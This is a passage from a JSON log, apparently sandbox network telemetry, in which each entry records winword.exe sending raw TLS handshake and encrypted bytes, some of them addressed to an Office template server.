  540. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xcd\\xb0\\x8c\\xe3\\xb9\\xd2\\x1a\\xf5\\x1c\\x93\\x9a8e\\x10\\xf7&\r\\xb4\\xc4\\xec>\\x90\\xb4\\xda\\x89\\xa3\\xf5\\xe4[!\\x86\\xbaw\\xbb#\\xaf\\xe7\\x0e\\xa8\\x93\\xd3(\\xde24b\\x96\\xb05j\\x05\\x9epi\\xd9\\x13\\xf2\\xaa5\\x8f\\xbc6\\xd1\\x99\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xaea\\xc9\"\\x06\\xd5\\xd4\\x13\\xdd\\x90\\x04|q\\x83\\x7f\\x8en\\xfc\\x12\\xe4\\x03\\xee\\x14\\x84e\\xbf\\xe4\\xe3\\xb0\\xf5ic\\x0b\\xd5\\xc2\\xe4nv\\x19\\xaf\\xce\\xaa\\xf2'!\\xe5\\x07\\x85"
  541. },
  542. {
  543. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xf7wm\\x97t\\x11\\xb9\\x8f\\xc7s\\xf9\\xf4\\xc2\\xfe%5\\xd1\\xaa\\x12\\x044\\xc0w1-{\\xd7\\xce\\xf8\\xb0?\\x88\\xf10\\xc9h\\x85\\xde\\xa8\\xb7x\\xb9g7\\xcf\\x96\\x99#\\x08r\\x1fy+\\x80\\x82\\xfe\\xb1\\x87n\\x88\\xe9\\x9d;\\x1b\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xca\\xac\\w/\\xc6\\x9e]\\x82s\\x15ya\\x89e\\x857v%e\\xe0\\xc6\\xae]c \\xac\\xa0\\x18\\xcd\\x8d\\xb0wa\\xf1\\x0f\\xdc\\x8fp\\xe0q\\xf4\\x82\\x84\\x02\\x81\\xa6\\xe5"
  544. },
  545. {
  546. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04v\\xa7\\x847\\x02~\\x99\\xdeu\\xa7\\xfa\\x98\\xb9_\\x18\\xc4;\\x8a\\xc3\\xf5\\x92\\x81\\xe7\\xa5\\xc4c\\x7fi\\xdd\\x95\\x92\\3\\x05\\xea\\xe1\\xdb\\xe0'\\xf0dx\\xbb\\x0f\\xce\\xdf\\xaet/\\xb5\\xa4\\xdc\\xf3b6\\x81ebh\\\\x01\\xefg[\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000dz\\xe6\\xc2\\x1d$t\\xfd\\xe0gj\\xbb\\xbav\\x1f\\x0bd\\xc5\\x06\\xae\\x9c\\x10\\x80\\xa4\\xb3\\xba_e\\x96\\xc5\\x10\\xa7^#m\\xbcq9\\x0c\\xb2\\x977\\xb7\\x02g9\\x85^"
  547. },
  548. {
  549. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xe6\\x18\\x8a\\xc8\\x98\\x14d\\x19\\xbbrn\\x19\\x90|tzl\\xc0\\x160\\xf9\\x9d\\x16p\\xda\\x91\\xc3m\\xb7\\x1ag#=p[\\x8b4\\x80`\\x04\\xb9\\x0e\\x9a\\xcd\\xaa=\\x99\\x86\\x14\\xffd\\x18\\x14<\\x13\\xab\\xa5\\x8bt]\\xfcf\\xb8s\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000%v8\\x97\\xbf\\x83\\xcfv>\\xc9n\\xe6\\xd0\\x0cf\\xaf\\xfd\\xc5\\xb21\\x0f\\x9a\\xd0\\xa1_\\x98r\\x85ngm\\x8c\\xebj\\\\x07\\x7f@\\xbf\\xa6\\xf6\\x18\\xb7\\x9a\\xf5\\x84ao"
  550. },
  551. {
  552. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xaane\\xe1/\\xc7\\xfd\\xc2d\\xd1\\x8b\\xbd\\xbc\\xa67d\\x85a\\x84^\\xeb\\xdd}\\x01tq\\xde\\xcd\\xea\\xc1c\\x02\\x14f\\xdc\\x91\\xac\\xd4\\xab\\xafb=\\\\xed\\x1f[;\\x00\\xdcy\\xcb\\xf6\\xe1\\xfc8 \\x9c\\x96\\x9cv\\xbd\"\\xda3\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xbe\\x00\\xf1\\xe4z.\\x13\\xbesl\\xdb&\\xbe8\\xbb\n\\xd9-2u\\xcc\\xea\\x13\\x87&ohp\\x81\\x01\\x125\\xf3\\xcd\\x00\\xe5\\xca\\xf2\\x132\\xa0\\xdf\\xff \\xe1l\\xc5-"
  553. },
  554. {
  555. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x85jb\\xca[\\xd9\\x1a\\xf7\\xa9q\\x9f\\x02\\xe0\\x93\\xecbj\\x0b\\xc6\\x9ej'\\x03a\\x8en\\x1a4\\x8c\\x16\\xf8\\x06.\\x08q^\\x13\\x96\\xa8\\xde\\x10lhrtt\\x1b\\xad\\x12v\\xda/\\xbe\\xff\\x8bv\\x1a\\x88\\xa4a\\xe8\\xf4\\xd1^\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000}\\x7f\\xef-!q\\xa1q\\xf9\\xa6\\x85^k\\x8b\\xf7f\\xe3\\xb2\\x89\\xa2\\x91x\\xe0\\xcf\\xd16\\xfb?\\5*1\\x1a\\x1db\\x85]\\x9e.m\\x11t]~\\x8e\\x0f\\xcce"
  556. },
  557. {
  558. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xc0\\xc7l\\xbbn\\x95\\x91\\x8ba\\xc5\\xebmg\\xfd\\x13\\x9f\\x9e<\n\\xeahc?\\x03i\\x9a\\x1f\\xed\\xd8\\x9d\\x8a\\xbc5\\x8f\\xdf\\xb3\\x1a\\xd4\\x8e\\xf6\\x8b^y\\xd1\\x91\\x180\\x16\\x899\\x9b\\xd8\\x04\\xb2\\xb9m\\xeb\\xb2\\xe5\\xf9\\xbf<\\xc9\\xa2\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x17\\x15\\xb3\\x9eg\\xf4\\xb7:\\xb6@\\xeed\\xd9\\x8fv<\\xc2\\xfb\\xdd\\xbd\\xe6?\\xb7\\xfc\\x98ip\\xa9[\\xbb\\xd5\\xacud\\xf6n'\\x8e<^\\x8c\\xeb\\xef\\x02c\\xbd\\x8c:"
  559. },
  560. {
  561. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xb5\\xb1\\x93\\xf3\n\\xc4\\xc6l\\xae\\xb2~\\x1dgj\\xecw\\x1a&\\xd2'\\xc3&%\\xd4\\x1b\\xfc3\\xdd@\\xce1\\xcc\\x13\\xdf@l\\x02\\xe8\\xb4\\xd8^-\\x190\\x01f\\x1e\\xc3\\x96\\xd8\\xaa\\x8b\\xae`l\\xa0\\xe2\\xae.\\x92\\xe2\\x9c2\\xaf\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000*\\xfbs\\x8d\\xc7\\x0cy\\x7fp|\\xcecs\\xa4\\x8e[o0\\x10l\\xff\\x97\\xe1\\x9f\\xac\\xa2\\x8bg)\\xc0 \\xe9\\xb8\\xd9\\xec2\\xbal\\xbb\\xe4\\xc7!\\xab\\xc9bt?\\xf3"
  562. },
  563. {
  564. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xda\\x90\\xfe\\xe0\\xa7\\xf5e\\xdf\\xde7\\xeb5\\xab5\"=\\x92\\xd9k\\x11\\xe37\\x16\t\\x93\\xd5\\x10\\xd3d\\xda\\xf2\\x90m\\xa7\\x8d7\\x7fp\\xb6fg\\xb81ey\\xd5\\x12\\xe1\\x10`\\xael\\xe3\\x9b0\\x8a\\xe7\\x1e\\x0b\\x92\\xaf\\xc3\\xf5\\xe2\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xeb\\x0b3\\xca\\xa8\\xcbq\\xfa\\x99\\xb0\\xe5`\\xaa+\\x9a\\x05\\x9d#\\x87\\x8b0\\xa9\\x9c\\x7fb\\x11*i\\xe7\\xc5\\xa7]\\x98p\\x88\\xdfs\\x10\\\\x88\\xb4\\xd7\\xea\\x08_m\\x80\\x1a"
  565. },
  566. {
  567. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x02)\\xce\\xe7f0\\xe7tp=\\xa9oe\\xb5\\x05p;<\\xb5s\\xfb&n\\xe4\\xeeh\"p\\xce\\xcd_,\\xfe=\\x88]\\u\\x98\\x8c\\xf6y\\xcc\r\\xcf\\x90\\x19\\x14k\\xf1\\x7f\\x94x\t1\\xc7ir@\\xe2f/\\x8d\\x8f\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x9c\\x10\\x8afq\no\\x9d\\xfe~\\xa3\\x7fl\\xd8:&\\xb3\\x99\\xc7\\xb8\\x05\\xa1\\x93\\x9e\\x98\\x1dm\\x0b\\xdd[\\x89b;qh\\x0c\\x92\\xc2p\\x1d*\\x0c\\xb5|y\\xb2x\\x1f"
  568. },
  569. {
  570. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04v\\x053\\x89\\xc5m\\xcaa\\x00.\\x87\\x8c\\xc1\\x82\\x93\\xe0\\x0f\\xda\\xa9\\xd3h\\x0bx\\x98mzm\\x83\\x94\\xe2\\xa1\\x0f\\xf3]y\\x87\\x98\\xcc\\xf7h?\\x89$r|\\x96q\\xf2\\xf5\\xf5\\xb9\\xa1gj\\x8e\\x98kih\\x9e\\xd7f\\xa3\\xde\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x08\\xeaw/\\xfd8\\xc5\\xffi\\x93c\\xdc\\x91\\x10\\x83%\\xb0\\xb0\\x11\\xfa\\xd7\\xf4\\x92\\xc5g\\x17\\x0b\\xa1\\xcb@q\\xeb\\xbc\\x95\\x86\\x82\\x84' \\x91\n\\xff\\x07\\xd6b\\xdb\\xadx"
  571. },
  572. {
  573. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x05o\\xf29\\xf9&\\x8e\\xacqt\\xe3;y\\xcf\\xf2\\xa1\\xa6\\x0b[\\x83\\xd3\\x8a\"f`f\\x0c\\xf4\\xb8\\xf2\\xed\\xbf\\x16\\xd8]\\xf8\\x94\\xce\\xaa\\x8c\\xac\\xa3\\xafs\\xf9\\x8d \\x1c{\\x90\\xecx1\\x85\\xc8\\xcb\\xbb\\xe7\\xcc~\\x1ag:z\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x1a!f\\xdbf#\\xcd\\x98\\x97q\\xc9o'\\x9c\\xea\\x8d\\xdb\\x88\\x04\\xeb\\x14\\xb1s\\xd7\\xb1\\x0e'\\x85\\xd6\\xdd&\\x84\\xa3\\x15e\\x8f\\x07\\xba\rf\\xbb\\x07xw\\x85\\x98\\xe53"
  574. },
  575. {
  576. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xff\\x07b\\x82:v\\xdf\\xc4\\x17\\xef\\xbe\\xac\\xa1\\xe8\\xde\\xf2\\xc7\\x82<\\xa8%\\xe8\\x94\\xbe\\x19\\xb5\\xbb\\x1b\\xd8\\xe1\\xbe\\xc0\\x14\\xe9\\xb5\\x03\\xa4\\xccn\\x17x\\xa7\\xce\\xbd\\xf3\\xfe\\xc2\\xaa\\xa3\\xb9\\xc5`ww\\xcd\\xa2\\x95nvh\r\\xb0\\xe1\\x12\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xf6\\xa5ni{\\xb4\\xcdbtz\\xd4\\xa6\\xb1\\x1f\\xe2\\x95\\x15\\x12\\x97\\x8e]zr\\x02\\xa2\\xa4ja n\\x08\\xbb\\x16\\xbb\\xa19\\x0bw8\\xc7'\\xfb\\xd8n\\xfe\\x83\\xa7\""
  577. },
  578. {
  579. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xca\\xa3\\x83\\xc2\\xfcr:`#m\\xca\\xc8@\\xed\\x93\\xa5[8\\x7f\\x99\\xab<\r\\xb0\\x00kd\\xab\\x10\\x02\\xb3\\xe1\\xd7#o\\x00#_\\x85\\xa5(\\xd0\\x84\\x02jt\\xed-\\x1c\\x1d\\x14x/\\xa6eh\\xf3\\x16\\x93\\xf6\\xe6\\x00\\x03\\x05\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x9e\\xca\\xd2\\xf3\\xc2\\x98\\x15\\x07\\xd5[\\xfd\\x91c\\x94\\xae\\xfe\\x9f\\xd5\\xf0e=ds9\\xf1\\xc0\\x9c\r\\x9ad\\xf0)y\\x04\\xdbk\\x85\\x1fwx\\x15\\xb6\\xe3\\x89;\\xa9d`"
  580. },
  581. {
  582. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xe7\\xb8o\\x9c1\\xd0\\x11\\xb3\\xb2\\xab5\\x9d\\x897>\\x804xm\\xdc\\xd5\\x88\\xcc\\x85\\xa2k\\x80\\x861\\xb1ss\\x01mj\\x1aq\\xe8\\xbb\\xa7\\xfer\\x05\\x8c\\x0b5\\x0f\\xd1\\xc3\\xae\\x0e\\xa1\\xfa\\xef\\xfa\\xb7\\x84%\\x14hn\\xbd\\xbc\\x1c8\\xe5d\\x07y\\xe5\\xd3\\x0fx\\x9e\\xbd\\xa4\\xde\\xa8\\x86\\xf3\\xdc`\\xc1\"w\"`\\x95\\xaf\\xf7\\xcf_b\\xe0\\xb6\\xf3jf1\\x0f\\xec\\xec\\xa4\\x91\\xc0\\xd3\\x9f\"\\x15\\x94\\x0c\\xd1\\xb0s<\\xda[\\xb2b\\xf9\\x80 \\x13\\x008p\\xc6l\\xbb\\x8d\n\\xc8\\xbc\\x97\\xb2\\xeae0\\xe66\\xf8r\\xaf'\\xda\\xacx\\8k\\xfb(ddt\\xb3\\xa0]\\xa2j\\xd8b\\xf4\\xf7hx\\xa7\\x8d\\x16^1`\\xaf:\\xbf\\xaf\\x0e\\xc4.2'\\xba\\xd0\\xdfc\\xcam\\xe8\\xc9\\x1f\\x12\\x04\\xaf\\xe4\\x03\\xdf\\x99rn8\\xeb\\xdf0\\xc3\\xf7\\xf6#n\\x9cw\\xd0\\x9a*l\\xb3jp\\x16\\xdb\\x85\\xd1\\xf2\\xe1\\xc4\\xc6~l\\x14t\\xc8\\x15\\xc4\\xbcl\\xb0\\x13\\xe4\\x1e\\xab\\xee\t\\xc0\\x15\\xbd$\\xec\\xaf\\xb9e\\xa3\\xb0"
  583. },
  584. {
  585. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xbc\\xbc\\x9cz\\xe2@\\xf8>n85g-\\xc4\\xb9\\xcf\\x85\\xc1y\\xbfu\\x97\\xf3\\x05\\x0b\\xa0\\xab'w{\\xfei\\xd8~\\xfb\\xc2b\\x12\"\\xf67\\xb4q<\\xaej\\x8fi'\\x05\\x15\\xdf\\xf3\\xff\\xc2\\xdd\\x8b\\xc4a1t\\xd8\\x18\\xe6k\\x99\\xb0\\xf3\\x88\\x14\\xf2\\xd40\\xb4z\\x8ev\\xae\\x17\\xe9\\x13ow\\xe6\\x95!\\x8c\\x11]z\\x19\\xc0\\xc2\\x1a\\x8c\\x884m\\x82u\\xf9\\xf0n\\x7f\\xa1\\x0f.0\\xcf\\xfd\r\\xce}\\x0e\\xef\\x92h\\xde\\x0c\\xbd\\xb5\\xe5\\x7f\\x14h\\xd9\\xbd\\x07fl\\xef\\x988\\xff\\xd3\\xb4.\\x83\\x9e\\xb5j-\\xeb\\xfa\\x90\\x1f\\x00j\\x19\\xe3\\x10k\\x08c\\xf3\\xf2t\\x97(\"\\x9a\\xdf\\xbcpl\\x89\\x8ee4\\x9a% o\\x82\\xd0\\xc3\\xd6e\\xce\\xb1p\"\\xbdz\\x83\\xa96jv\\xb4a\\x0b\\xd2x\\x1f,\\xaf\\x15\\x8f\\xcf\\x85\\xae\\xda\\xa3\\x89\\xaa\\x11\\xdd\\xd8\\xa2\\xc94\\x1er\\x9d|\\xc9\\x82\\x91\\xf4&\\xc5\\x92\\x17\\x91:\\xd3\\xda\\xe4.\\xf3\\xb6\\xca\\x8es\\x84\\x00@\\xf0\\xa8j\\xd7\\xd9qm\\xc1\\xf2\\x07\\xb3\\7"
  586. },
  587. {
  588. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04g\\xa6\\x8bu\\x1d\\xeb\\xb9\\xd4\\x04)(b/@\\x978:v\\xa7l\\xb2\\x06\\xf98&\\xc4\\x07n\\x90\r.\\x13\\x01\\xd8\\xc0\\xe3*h8\\x17\t\r\\xdfv\\xb0\\xce\\xd9\\x1b\\x84\\x13\\xfa}\\xb3%>f*h\\xe3\\xce\\xeb:ap\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x1d\\xb1\\x91o\\xf6\\xf8\\xee\\xdd\\x8f\\x91\\xb3?t\\xd0\\xcd \\x80e\\x9e\\x8d\\xbe\\xca\\x8d\\xa5k9p\\x8b\\x18\\xcb\\xf6\\x88~v\\xc6\\xf9y[s\\xd7\\x92z\\xfd\\x80\\xbe\\xc0\\xa65"
  589. },
  590. {
  591. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xf44g\\xe4\\xfa\\xb5\\xee\\xa1\\xed;\\x13q(\\xdc\\xa5\\xbf\\xfd\\xd7c\\x1b<\\x99\\x1c\\x0e\\x0ea\\xeaby\\x81\\xbd\\xa9\\xc8\\xca\\xf0\\xa9`\\x85\\xe7%\\xa1\tn&\\x81\\xb6v\\x82j\\xde\\xdd\\xa9\\xefsp{u\\f\\xac\\x00\\x02\\x91\r\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x83<\\x8b\\xbc\\x0b\\xc8m/h\\x9d\\xc0\\x12ovn\\xee\\x07sr\\xfag\\x7f\\x9d\\xeb\\x0ba]\\x81\\x93\\x95\\x8b\\xe20n\\x8b\\x90\\x10c\rz9\\x1f\\x8b\\x9bg\\x92i\\xfc"
  592. },
  593. {
  594. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x18\\xca\\x12\\xd4\\x1a\\xad\\xc9y'\\x16\\xd0i\ny\\xa8\\x9b\\xd8\\x83\\xf7\\xd8k\"\\xfa@\\xa1\\xcbhm-x\\xa5\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  595. },
  596. {
  597. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04f*\\xb4\\xaa*\\xc2\\xa5\\xb5\\x03xq\\x91\\xf80\\xfb'\\x16?\\xe5\\x15\\xfd\\x98\\xf86?\\xa5\\\\x0b\\x81\\xff\\xb7bk.\t\\x98x\\xd8a\\x93p\\xbd\\xdc\"\\x9f\\xc97g\"du\\x9b\\x1ck\\xd5%\\xa9\\x84\\xd0\\xc7\\x9c\\x00\\x96b\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xa3\\x1d\\xfc1k\\xbc\\xbd\\xdfk\\xf1\\x82\\xa9'\\xec\\xf54q\\x1b\\xb7\\x9d\\xfb\\xcdrjy\\xfa~|pj\\x84\\x86f\\xe8\\xd42\\x82\\xdf\\x13\\xfc.a5g\\x03k\\x9a\\xb2"
  598. },
  599. {
  600. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x18\\xca\\x12\\xc9\\xb0\\xd5\\xe6\\x05\\xc7x\\x9c\\xf5zq\\xf2`\\xde\\xcb\\xe40x\\xcf\\xb3\\xd1>\\xf8\\xd7\\x94\\xac\\x1by\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  601. },
  602. {
  603. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x040\\xcd$`x\\xe8\\xca\\xc8\\xed\\x1e}\\xfa\\x0bg\\x8b\\xe3\\xcf\\x1f@\\xa0z\\xf9\\x05r\\xf5\\xd5\\xbc\\xfc\\xc1\\xa4\\x8e\\x86^\\xc6$\\xae\\xeb\\x96\\x9f\\xda3+ r\\xd04r#\\x1c\\x9e\\xfc\\xef\\x9d7u\\xdde\\xc8\\xde\\xbe\\xe4e@\\x9e\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000e\\x01p\\x05<\\x16f\\xee\\x10\\xc6ji\\x1dj\\xf8\\x85;\\xd8,8\\x0e.\\x86\\xcf\\xb95\\xd9\\xbf\n?\\x8b\\xbd\\xc9\\xc6\\x907\\xca\\xc4&\\xcf\\xcf\\xf9%\\x06\\xed\\x95\\xf9\\xee"
  604. },
  605. {
  606. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x18\\xca\\x12#i\\xa7\\xd5\\xfal\\xc5\\xa7\\xc9\\x8f\\x19\\xd2\\xe5\\x00\\x8b\\xd9\\x7f\\xa9\\xbc%!3aye\\x06\\xaf5\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  607. },
  608. {
  609. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04j9\\xa1\\xf5\\xe0\\xcb\\xff~9\\xf9cs\\xcd \\x17\\x00\\x9a\\x07\\xfeq 8\\xf7\\xbf\\xaa\\xe8^\\xbd\\xacc\\x990\\xa2\\xd9\\x9c-u\\xf4\\xc0 l{\\xd1u\\x9d\\x9b\\xa71,\\x8d\\xf2b\\xd3\\xdd\\xa9\\xa2\\xc2\\xc36'\\x8d\\xd5`h\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xbd\\xa0\\xff\\x1e\\xd7\\x0b<\\xb3\\xf3\\xf9\\xc9\\x02y\\xcci\\xe5\\x84#[\\xc9\\xd5g\\x07\\x1bm\\x9d\\x06\\x90$\\xdbafc|\\xf5\\x18u\\x8a^\\xa0\\xa3~g\\xb5\\x8a-\\x88\\x1f"
  610. },
  611. {
  612. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xf5\\x86bi\\xee\\xcb\\x16\\xdd;\\xa8;q\\xc9l\\x0f\\xb4\\x7f\\x1a\\x18\\xae\\x96e|e\\uk|x\\xe9\\x07!3u\\xf6\\x17+rp\\xf1i]\\x8a-\\x19\\xb3\\x82w\\xc8\\xfb\\xf4\\x1f\\x81u<\\xf6g\\xb4\\x8fy\\x05k\\xaa\\x13\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xcc\\xf6\\x9e\\x98\n;@{\\x1b~q\\xb2k\\xaa\\x04,\\xe4\\x9c\\xa2\\x08\\xc9\\xa3\\xc7\\xde\\x19\\xe4\\xdd\\xd0\\xe1f\\xd7*\\x1b)\\xb7\\x92\\xb3\\x0f\\xe1\\xb0\\xe1\\xec\\xb0 _\\x80\\x02\\x11"
  613. },
  614. {
  615. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04x\\x03gw\\xcf\\xb0t\\x19\\x81\\x15\\xfar~d\\xf7\\xd4\\xe6\\x08\\xc4^3\\x0b\\x8e \\x1b\\xe8d\\xf8\\xb9\\xaa$\\x1d\\xe5z\\x98.3!\\xcb\\x15\\xd5\\xb0\\xed_m\\x01\\xe0\\xcaf\\x96\n#\r\\x08\\xb89\\xa2c\\x1b|\\xbf\\xcaih\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x88\\x07\\x1d\\xe1;l\\xf8\\xe4\\xcd\\xb0\\x8f\\x93\\x88\\xca\\x1a\\xe3\\xbd1\\x82\\xb4\\x9dz\\xea\\x926n\\xd5\\xaa\\x17\\x81\\x1c|\\xb1\\xb1\\x80p\\x98za'<\\x81[k\\xe3\\xa1s\\x05"
  616. },
  617. {
  618. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xd2\\xe5[\\x7f\\xd9\\xc9\\xc4\\xfc\t\\x12\\x06\\xb1\\xb0\\xf0\\x02\"\\xba\\xea\\x865\\x1cm-\\x13(\\xd2@\\x06x\\xb31ov\\x05\\x06\\x02\\xa8\\x8b\\xbe\\x1c\\x91z\\xf6\n=-\\xfc$\\xab\\xf1\\x9c\\xba'\\x06n_\\x85\\x92\\xb6\\xe1\\x1c\\x0c\\x08>\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x8f\\xc4\\xb1v\\x81|a\\xb4b\\xea) \\x17\\xba\\xef\\x8c\\x8b\\xaa,b}h\\xe9\\xd4`\\xe6\\x88\\xef\\xeed\\xcf\\x1e>\\xe6k\"\\xb6&\\xc9\\x14\\xda\\x86\\xa3\\xbc:\\xeb7\\xfc"
  619. },
  620. {
  621. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xf3n\\x88gy\\xe3\\x10c\\x7f\\x1a\\x11\\xfd\\x02\\x86\\xd4\\xa8\\xdf\\x9f\\x9b\\xbdsu\\xc6xj3\\x14\\xf2>:0k\\xae^\\xfcq&\\xfam\"\\xa0v\\xa1\\x18p\\x8d\n\\x8c\\x9b\\x89\\xfd\\xdc\\xc4[\\xb9\t\\xb4\\x8dk\\x17cj\\xc4w\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xfce\\xea\\x00@\\xcf\\x9f*bo\\x8e\\xd08mmu\\xc1\\xb0\\xcd0c\\xd9-\\x12\n\\xb29hq\\xd3\\xc8\\x7f\\xfet\\xc1\\x85k\\xb8!\\xd1\\x88\\x12\\xdb\\x83\\xddo\\xac\\x8f"
  622. },
  623. {
  624. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x1f\\x87\\xe5\\xfd\\xfe\\xa4)\\x03l\\x0e\\x15h\\xfb} t<\\xf6\\x05\\xd8l\\xcdv\\xd31\\xa6p\\x93\\xb1\\xdb\\x8cs\\xb7&\\xde\\xe3o\\x80\\xed\\xe0\\xa4``\\xbb(0\\x1e\\xf5\\x92\\x9do%\\xfb^>\\x0e\\xd0\\x99\\xc1\\xdb\\xe9g\\x120\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x81\\x07\\xc4;\\xb8\\x88\\x18kc\\x9b?\\xd9\\x08\\x81#\\xa3j\\xe2]\\x8e\\x1f\\xedn\\xfd\\x0e\\xd8\\xdder\\x89\\x9d\\x1c3\\x8d\\x84m\\xea8\\xc62\\x1b\\x19b\\xea\\xdav\\x8b\\x83"
  625. },
  626. {
  627. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xfb\\xa4o\\x18\\xa6$g\\x83\\x0b\\xa4\\xb2euz6\\xea\\xaf\\xf0_2\\xbe\\xc9|<i\\xe7n\\xb4\\xaf\\xa3\\xf2\\x02t\\xa7dk\\x01wc\\x1c\\x8a59\\xef$r\\x10\\xca\\\\x01\\x16\\xc2\\x9b\\x8a\\x8bk\\xd7\\xd8\\xd8=\\x03\\x12\\\\xfb\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000j\\xfb\\xd3'olpm\\xebi9rh\\xe8\\x0e\\x12d\\xce\\x8b)3\\xca\\xe4,\\xdf,\\xca3p\\xb6\\x06c\\xc6\\xd0\\xe1\\xb1\\xda\\x92\\xaar\\x08\\xa5u\\xba;\\xd1#\\x90"
  628. },
  629. {
